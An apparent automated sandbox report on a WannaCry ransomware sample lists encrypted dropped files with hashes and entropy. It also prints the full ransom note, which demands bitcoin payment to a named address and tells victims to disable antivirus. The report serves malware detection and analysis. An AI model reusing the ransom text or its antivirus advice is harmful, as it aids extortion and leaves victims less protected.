                                                                                                                        Preview:WANACRY!.....bf..V...._1.....XPY........L.......j..&.0%.hW.7...........|.B...s..\....?..)v......7..cD...H..w...[o...Y..'t;..j.......M..r..`.^:B..Aj..A...r../3..r.u..`U..].Oh.C...w.R..&;0.!......\R.......q[.Y..:X...c.......${{{Hl8..p..Q.pn\.5...C....b`...)"d.....h..........~....^I..k&.X.E....C..?..\.F.{o.4....<...a.8...Z.7.Z..W.o..K =XrK.).y...w..C.%.....eha4.4.T..{ ..lr.<5..?(%P.ga...Od.f.;..9j...*&T...&.Uu...=u...+...LJ.N\oG..........Rv...U...^.c".m.\H....7%.0..............i(...g.k....#B..%...9.M..zq...].U.j.uy>...rO5.5.......j.Gy..OX05H .m.e.*.<HR3.N{.RTw!.......^q[..._...+rsQ^...'$.X|...1..?G.E..1b.v..).p.x6.|..TV.y0A...M#.}.......;q.9C.B.....v......C..oD...I'.q.K..(.@.:g.`.*....C(w.....g...C.I8..{.s....PpQ...i.U1_.Y.7.............b..3.... .......t.z/.QZ.n.R./...5/......%dsA.....o....f.c.-...(.V.R.X......R......T....e..R..9....+F..rY^..+..;..hr(.&. =.|.j.F...9....~...<...._._kG.b ..Y.....q.....B.t...}...S...F..`)..J......]....

                                                                                                                        C:\ProgramData\Microsoft\ClickToRun\ProductReleases\46183AC3-59FF-4B8C-8BF8-6C3D1F20FAC7\en-us.16\stream.x64.en-us.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):548472
                                                                                                                        Entropy (8bit):7.999705715821533
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:EroEVM0O3heXM4dHy6XkZWnL/7Btibwf6T/0npQWRY:GVM0OReXM4DttUwf6opQuY
                                                                                                                        MD5:ABD7302154BACA926B2E6C3BB9B68910
                                                                                                                        SHA1:F6CE371E01B98F1E30922819730D8A8409D39078
                                                                                                                        SHA-256:1B912C6223CDAF623F593E5CA08B1E19434F68928CEB8EAFBCF8E7D625A19B9F
                                                                                                                        SHA-512:086A7A6CA25FA29FD764C1E874AB71383B1E43129CFC55EB0EA61546ED3766E19478824E5866DA59197806B91F750BD7B2AEA7FB2DD75E071375B05674971762
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.........(..n.:V.......%.....r.y..S.....s.\..I.N).........}.~M..Q`........"......x.A.tB..n.t......j..px*...=>-...Y..Qe.7.......%.0.t(...Tp.{A......l.^.J..'.Rh.b...`.....sz....s..RU....p..m.m..Hp.....N......eo0.>.......vH.K#...e.i../.m..4.m[D.R.TE@.....Q]........&...o...2&...+...2.[k.!....e.#..+M7..)Y.d....2V@7{.......~..R|J.....T.AaDEh..tE...n.mFG2.~E...D.;...q.E..:gs..J....};.hVU.F.cM..**.y.._..+..d.mn.WK....&.r......u..w..nH.`.."..H.S..3PS..@.!_X....E..._..F.#bM....1.....'..O'....Q]R;I[_..%.mP.P.i%.p}..V.dH...G...Z..o.\.....?S.q{.\.N...}.......;B&..."]..IA.9.g....QUZ..b...6p~.a......."gD.y...M...M..j....3JK....7b.6{2..&.4,H..c..[...s_....k.5..........)E.>y....,+..:...1....pF1j.y.=."e./...Q......X....V..k.)<.S.T).[?l.7h....!...&.,..8..,...w.k..u.c.,.O"..Z.N.bK6.......v.>..B.F..G2.+.OmR....z.m5.x...62.3d.H.....CN.od.k..F.u(..[...P..'..Mk+....[a...X@_..)X...#i.......\?z.4 .....=e....J.aK7..,..M*.........S.lT........q....b)n......].

                                                                                                                        C:\ProgramData\Microsoft\ClickToRun\ProductReleases\46183AC3-59FF-4B8C-8BF8-6C3D1F20FAC7\x-none.16\stream.x64.x-none.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2972600
                                                                                                                        Entropy (8bit):7.999933410655858
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:49152:v4FzqoTIgIDeaPItCOKEz8BR+n3jMwLVt6WlIn1xwH76mJnjvnArrc+VRY5fL:v4Fmo0gIyawwEz8BR+IwNIn1xwb6GbnP
                                                                                                                        MD5:368642C074DCA5A72F98E088E1A49DB8
                                                                                                                        SHA1:E57E94E4FA295E3CE5C7DC41AF5D935239F522F0
                                                                                                                        SHA-256:00C29B1AED1DCA328CA80FCB7C8B3583359D03F0BC36F3F63A47D409B9E25902
                                                                                                                        SHA-512:74558DC3B9FF339A13C7D51FC4AE9FAEA328C53979977FF083D5E94734BC0C1F432FB3B1437B6C93237E4BFE7C71764CA18BAB170916EA3AA58C28ADF4CF6D50
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!...._....IP4&..d.d>B.....s.I..X.j..~.ub..p.9.x.D.C.Ho.d....`mZT.x.......y.n.E5eA-k!e.h4..i.....d/...PM.I...f.;.8.P...`!\-Z.Nn.....1..^...H.T....."7..X.(.....>.8l..........Ax..E..a.s...o!..z.u..(.....|..?E.g.f.....g/7....9.#..Y.|..t.fz...4..2.[...k.....Z-.....Fjc.i@...(...x.#.<.G..?.U.y..F._.;.:FM)....p.|j..gq y+Hi2e.2..)K...0..tvv...r..3].~.....>....F......L_C{.97C+..?L@..x.wTZ.........j..>.....BRk...2....b.n/.LT.m.E\.{.....h..Z.....G..A.%........>.x=e]..4.;(..<.R.[.@&..J....%Xmg&.s.-.-..[.?.*..C..!MY..{.x..W..@X.f8........1..+.V3......Y..@..<`...H..z...EZz..iv...i.......EP0YU/{.CI..bR\.7.*.C.;+@......t....M...RH.5......D[...LN....Q./.N....A=.y_9...d..I..+........zO.....bL....|.....L....,..Hi....+Z..t.Vm......j.ywt$.8.vK.6.N..v0.N....Kv....tlb..o...Y4.N,[..A...f6D..53T.....;0...`t .....|v%...E......w..Z.y.../.m:7z.....CM...UZ}AU......F.U7E.O...Z9.>.....fN.+...6.4..8.!8.........tc.....TK.Q.M..I..".(.y.f.w7...O..|.2T....D..uj*l.{....j|<W[?

                                                                                                                        C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):130040
                                                                                                                        Entropy (8bit):7.998564526936028
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:j3coDnzdAuJbj6V+boyXnf2HSvxWpsE4uZ9tUl6hJUW:jbfQ+b1+yvxWauZ3+6/
                                                                                                                        MD5:1093EA19291E16BC4479E41F4D03207E
                                                                                                                        SHA1:2116482A1D961C6CD1B0BC2FD867F88BA2AE7FF4
                                                                                                                        SHA-256:364CCAE1E070DD03AC8ED99A56D86E9D6FDF080DDDA1973A667C94332EBAD3FE
                                                                                                                        SHA-512:176B7B7D02FAE18C0FF0ADEC0B49B33E0A1CE6766374ECFD3CAFB9C4FE4CD4EF017F845B15118C4077FEDE8CAAEF723DD88722AC5226A2ECCCFEA021677AEBFB
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......c..`E...T.^.;7..Hv....e.=...l...M..Mle.(.1...^.....].....F-'c5o.^..t....A.N....1_..1...d#6.....\.....~.R.t.WP.G..B..v>...._Um.*..Ed.\...8.].E*..?..e.?.V..:..(..[o@M.8..V3...;7m...-.2......-^O.s....y...c....B..H..`.>...<....1.?.<.....4..o...N.r&.............Ie1..5..ri.....a....t.<._.x.rm.....RL0e....4.kDv[.O......("L:......[}5rr<..g{...E#p.gvB.&bH..<k...~...&Q1U...$Y.w.o..^..WG.S.B5......H.}....-...Z_.4...w....b'.`..i..~..GZ+/........zA.v...3.o.+..?`.h.a..1...!..X.k.?2.B...p:N72<f|.t..=.k/....k...^..dA..b.....wp1}....&...U.....v.w .q..._..&./UM^....:0c.V.1.3..H.......b.j.~....4...7...d..D.q.[..F.p(g.n ..r......\t"..0..s...\...Mr....v .....[y..:........E.''..f.tB..H.9&.u.0....>Q..._...i.......3Ik4.5......%..YR.h}.K/..Z.ZE..yR5~.|.t...'3.U8....z0....[4...2/A|.k....]x.F..; ./...i.e....j."..9...A."=...H.Zo8tDa..7@c..0.......i`..t..u.."..t..uT.;=.x.....ZE..fz..^0fs.F;L=.x.^..d..Q...4....|8S..P_.w .Bu....a..R..|...;.._..i...k...k..|..

                                                                                                                        C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):44776
                                                                                                                        Entropy (8bit):7.99573769368584
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:jIZJ4BoozYMD0MF07JAbKEjxh+dZW5yDV8RTfx2xhW7FI8XH:c/LozYMD0N7qbv9hYA5kyY+XXH
                                                                                                                        MD5:84EF384E25807573D65004C9DA23154A
                                                                                                                        SHA1:704C4E944DC8AA4000383EC8EDA0B7ED4F391C83
                                                                                                                        SHA-256:8E27EBCFAFA13F7AAC62DDCEC3CFCC5841A15CAF6A7BBA438A2E35B3A9A41D2C
                                                                                                                        SHA-512:AF10390A5C645BCB909DB8CE8DFD76F9D860D8C6C1F25E75E0EF3E4BB771E92740B76A6B01101768DB8BAA068C057E0C2E69F93E4182004AF85063ACEC308558
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!...... ;+3..,...|.../...I4..\BT!s..rQ0.N.`.=c....!...ZJ2P..v...@`7.F...T..RPL..[]rj.b.X.....*....g...z.....Nr.$..y.BY.t...^.S.|....}x....'Np.....O0r.<...Cl..nd.*r..X......_QL.'j....F.3........,...^.MW.J..g..Bk|z>...lu.[..6.+t,..'.e...:.{;.=...`...........lF.[..~/f.=".c.(.R`..=n^.6...:.%\s..We.....rg.?..#...ty..._.....F..s6....v.....\mU.B......3Uq7n...d.b...1.../.....'./.N/..7..@&.... ..g`...L...>../.x4.\.LQZ.}.._...._.Mh:.X.9...v..'.f..T.g%'|... <.....}.(.....G.AU.i...@...4..VIu.b.[..~....0L.7."...q6.(...D=..|.lORRi.2MF. .....R_.dJH........g...l%.=...%.%.!.k.....k9&6?.4...<.C....q&.6..\>s;..s.u...a.|.l....Xu)....<........);....>[..u....M].S./.FRbss.y.....=Y[=k.@.+...u.!......h-2...Q.,..C.J.4Y.A.....IR.../..A*. .-q.3.\.2C..:>...B^.C...C..6..aSa.....*%g9}..Cg.5......m..Z.....rc....=...^..h.........<.{3."....NX.y'c/0).9..(.V..............Q.+....R......u..I.32..O..n.5.}m...kJ..A..._.....^......wM>[.E.9D.l..}.....\.....9e...

                                                                                                                        C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):29160
                                                                                                                        Entropy (8bit):7.993599958031191
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:mhDNV93CBUkz5fdJdg7bLJlFCX3mtf501ES3Jsno8ZnAJO:2p73IUkqL8X3kfS3JsdVAJO
                                                                                                                        MD5:5CECBAF97ED7D69E5EE60B7AD5BBC99F
                                                                                                                        SHA1:9500DB527097DF03FBE8FA7295F4AF20926D2C4B
                                                                                                                        SHA-256:E4F37D38270168B9746BD3F31A20043E3FFD402DE8029368F4CCCAA4429A1B64
                                                                                                                        SHA-512:AD16ECDFD2884C9A5E7A5E28CFABF542DC6C08D3E57D662A9C5FAEAA276A8E1FF449F82DAA1168A0CAF3394D937774CC8A0A118FB826FDAB384B5B744E90BBF3
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......O.fA.....b,.......|..*..*...\.".O<s...L...ek..=..d.|....mE...RC...,.X0..........:S.........,^dAi..0.&.T.Fn.a./...*~..R..rn\.h.Z..{B..4..;.4..'~....+.....Xg.........X. .J..........ke...8K..........H.Jrk..>..m.k)....uA|S.....9."[.M..X.C..2.}f..5_.....p.......X....Ru.sD.y j+[..%M.E.;9.....^.3.....3..3.N..y.q....Q.$}..h.T..d..^..hr....{d..B...8'}.....}./..h...I..<..T...OY.C....AU....D^..?^VH.`*.......^.H>..n,oN.j.g...t..."B.4.{GYp...E ~....J.e.....>Q..^.......cT0...R.o...P7......%.6o.S..c"........e.....h...P}.,.....).o\..V.h..a*;.7.m}'qQ1@.......f..w...z....t."..f1..k.. .7....V.5.5.....b.|..U.iR...7.-..r.[2e{.9EN...yVc.s..'....gV7..K1#..yk...}(R.v.(.j...,...W......l...#.w...4p3..z.}.1BM.-...yK.nQO..;...;..E.......V...h.Uw]..~.]./..*@.]:....>#..X;...Ld..w.%....g.........4.'6w....;.ENI._-..;....K..V9.E..'1..........H....):...<..l:.Z.....1..%..C.j.U;...?.l!....&Oo.$...;.m.P5s....:.._....@...I9i/..2....4......0!.#Q;.S..P-v..

                                                                                                                        C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):39672
                                                                                                                        Entropy (8bit):7.995595632656922
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:YSPBP7OaSv2Ko2GMLArjvMRxOTS7Lu0jsBzze758S0oOPv3jy4R7:hBOfvHoms/vUxrPu0tcDPvz7
                                                                                                                        MD5:56334F6AA2CA518339D19F26FCC3C0B9
                                                                                                                        SHA1:5434857CD9090E84673B7082F50AD4D6F3C2FDAE
                                                                                                                        SHA-256:891D4612A43AF036FD11B823D10503D93F3FEAADDF81E84CCB64274C1D2AF42A
                                                                                                                        SHA-512:92C53C4EFA217697913E5C67BA2F545B3CF4B059587D12C045805A277687E7E2ED7986F8E377C5021A0BAF899D18F411C7B395D3126645CABD3EB98661FE63C7
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....-..e...U.z..................J.7.v.Ry..........+.Z.........ct.(.....a..,....~......;....I..j:.h...$..lT....:.3.k....ws.5.1.\.9.Y..:.......Hp.n....O......W.o..j.P....).3.|.K9...r...51`.....{x.U.[l..S.t.K'.v..1.?!..2..ZX...7.^.....(......Y..x..x..............-S.....A5IV...~5......>...|..-Qb...i.....D..o;.."......9R...=.:.URE.Qs_.|...*.-oY..J ..Vr.y.`..2 ;...[.}`..9M....m.qH=...4H..:.....;..OB..>"...1.0....r.J.o.Z...\d$~.b8.+.t^..>...XZ.!]......|......T..).../[.v..f..p....W.R.f.xb.]....G.F{........v.|......Z...h.&w.^#e.T)...w....C...`v.P..Z.<........Q.........9....c.p-.F4A.R1...L....I..L...vJ...}..V../NC.W..A.|D..^u....8............`-f.e....3.e...1.$....;..G..tR..n"dB...*......G..G.....t|Y......L.B.Q%.UV.,.JQ....Q..-...j...N.....k.u..DWg9Y..7.~l..-.:~...?:?...g)..{..r..('Z....'4.-FQu.}h..c.w....M.c.m.q.]~.f<.[A;....A.....^".i...1.L.N.R.6"...|..F..b.>..g|....!&3.L[e...i..../L.s4...h..e../&..D...,..:.T..A.U...Qb..9?F.>......f..c..#..Y

                                                                                                                        C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):130040
                                                                                                                        Entropy (8bit):7.9985553917187735
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:szU4Tmu4xx8s4jgu0W+esEdvKNJQuomJEEsn1J4+KgDl+h+/n:sz5SR4j7dsEdvKNUIyi+KgD+O
                                                                                                                        MD5:F0CB53061597D4DF8E395773F2105F84
                                                                                                                        SHA1:A5C0B7B881D3F65842C494889AF3B2031625C3D3
                                                                                                                        SHA-256:D737CD86327D192B3B75DB3878D4FEFE9B84479C5C0C81C0426AF8134755701F
                                                                                                                        SHA-512:278D27FA25090199BC6089C849DD2A07DB1B7BFCA3C53F5D83D06ABDE7AAF4B0F8E2EA80F24A2CBA40E2AC0E84B90043BF698FE1E3DDA22B7E9C1C905B0C6E17
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....}r.I.O...E...x"..|..3_..aV.......0E..).R.Y...HO..|.O...[&}..E ..U......'W...r.g..1..5..M...<L....w7:....nj.....tq.,.....@od..u...o...`?&...S.m..IoK....z.....bIV:....B.....T..W.C.E.$...~b..&P..?".i...t.....-...5K......gQG...H..e..Ux...:...$...............*..V.Aa..D.0 ........?J(... 9t.1.Dcf..t.....v...R...!c.s.9C.;...-....D.........<.9..K....p.W.....Y...z'...X....F..U..'j.B..::./.8$.@..?..}...>.%....!..........zy.a....'`.....cx.w.9Ax.....M.\a...+...m..&....G....Ar'..{.J(.'./....&q).E1....../......... ..k...s{..=.!?.{A,..nS.w...1Gi.].;...).."g.r.........Fw.]..i.G...| ...)..9O4I.R...0D;...s.g.g.Kw...B.....`...t...8.,..*(_6......W......MH*K.BfvR..u(.t..p.FIs_X.>5Y.Pj.....IFO..1...w.1.[........hz<.s/..Oi^.'j.....b.w.......6 Y............tZ-7;.7.....9}.#...p.e...X...?....8.......rQ...~X!?<.............X...N.j......r.t.W.d.d........Z..'....9.e;?H....?d.....A..".^..2....E.\v.m...........R.W....`......K.....#...p...!C.m.n..`.f...............

                                                                                                                        C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):29160
                                                                                                                        Entropy (8bit):7.993972447678794
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:IBS5pr6NOsFzUbJPEM5x3oQTv8gM1Z1DGH:JjvsFQNPEMnbMFDGH
                                                                                                                        MD5:6BB64CA34A1621054E2D94B9027673E3
                                                                                                                        SHA1:6DC0272DD0077193B5E178C9F29F95CF000687B0
                                                                                                                        SHA-256:4ACB6E5288C7ED3062BED9D5D4111643A37480EDC2CD53C1A6BBC0A58FE1C66B
                                                                                                                        SHA-512:D91606809F3725499FF7DC2BAF1E966DFC70A1F078807331DF6AC97AC8B25BFFF349B0E91CD7B470CA2041C9425457C68FD9914A5C7EFBE1F02B53311AEC3AEB
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......i.P....h./w...1+..rL.Y.&O..............9.qI2....kDM.].4>..... .M45..N..C{.Kk.o........*.(B.z....,.......C.....s.....&\...*.8I..F...W..-............+.~..$...:`e.7`.r...s.I<.A.s.)....g.oV...S?....f.M....@.Q....K..?.X.@P.....&..(.3'.vD$..&.zb.....p......,.7...n4.Y....(.{...ko.)NH\z<.UZ......f....z.:.y(.G}a+..~.`../.....x.........&.@U.....L*Z...c..Y~%...p.......Ke.G...K..V.F..2..y`.z0z...."re..I}}.}?.........-.{.?t.....j.$.qu.[.._3...'^..Luc..A_eq..).....8v..s..Y..[.9c......e.....i.8..k.;7............_-....c.....m..+ll.(eEe...B.nsp.....+..L".)..~...?.I.m.L...........j...@..i=#.....ZG..]Q.%..N.-..4.,...P..j0W.{.X.....r.?...T.A| ...E..f4..E.....6.m....T`.A....[...>.Q. ..w/..}r?$3.....u......\..q..b......t..?..=Y..7.....=.=+8....ADp..pmS.b.".?$u).kI.....{....#...Sy..'..duj5^..L.J....$....)d..Q...-...F./ou^-..-.OB;......T].....K....6....W......`...P..s".....8..~py...B..;..p&...@D....b{A...A"....e..]@..:}.v..0.J..n=&L.O2..FV

                                                                                                                        C:\ProgramData\Microsoft\Diagnosis\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\ProgramData\Microsoft\Diagnosis\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):168216
                                                                                                                        Entropy (8bit):7.999050857843526
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:3A3R+vQrHu9I3AsIdjDYB0zC/2i7tzZ+DFIwuG+32Cyvoh7kiJj3lROavi:3A3VHu9jsIdjI/d9ZSF9uG+x5isjTO5
                                                                                                                        MD5:87A6FBECCCD5DDA261AA8B26B3A6BF5A
                                                                                                                        SHA1:50D33399F7108F703FE38AEEEAFBE4999434FC24
                                                                                                                        SHA-256:013F93CACE26DA97943201B9BEE941F59E3C102D6A06329D7DCF9ACEE9B88153
                                                                                                                        SHA-512:92082A1CE947C6C47DD33E01B70E21F7EDCB73AAE7C69E296C9D432352FA9C866E1533E0DE78BEA2A6F9B251B3D6641CE6F3CCE331B8262318C065C39C86F15A
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......@.y..\A...,M..?TJai.....OE.\tq.]..[b}...F.u...0.Em./....@&I.&.F.{........^1...5.....{Mx......He.N.Q..8..%.k.....z:..$,.......c_.G..b...).,....E.7\....k{..i...)/[...^n.H.e.=Iqp..E?p[...nL8S....(*I.-.M......U..D.C..eoM9....O....j..e.......<................1.|..D+..\..+.` 56...+*.J.].....V...m.yu...">.u..t0'c....nf......Z&.F"J)..W!3.......k2o.[=t.....J.,.q/`..9>...9..."u.dZF&*.6...."...~....YW..6......{.R....i...[w...E@.4..66...o.,...v..c......."...`K;;.."..m.Hmu..rK...7'..-1....HzN.j..^....{nXd...A...`..9.':..D..z.B*....I...y..w;Q8.. fN...V.op..W...j.M[.8A.'..M...>. ..'....@#...Zw.#x..`..B.}I.o.?......9..O.]..y..`Us..v.....L.....5..C.g.u..bc.I.{9..7......#....R..,.h.....v...........u.j.H&..N..w..I...u'.u4...P.*6.Ne)U.k.3....;...wCD....t.B......2.c).ky.v..|..q......-..#Y.9.a..j..|)C.+.kl(..Prv..'8...<p08.Qex..B.....zC..o......y1.6.^.d4..m.B...+...A.p.W.]...]m2..WFZ/..+.nAs.}.q3..4o..........l0.......8....8-K...+l...P..*r..

                                                                                                                        C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
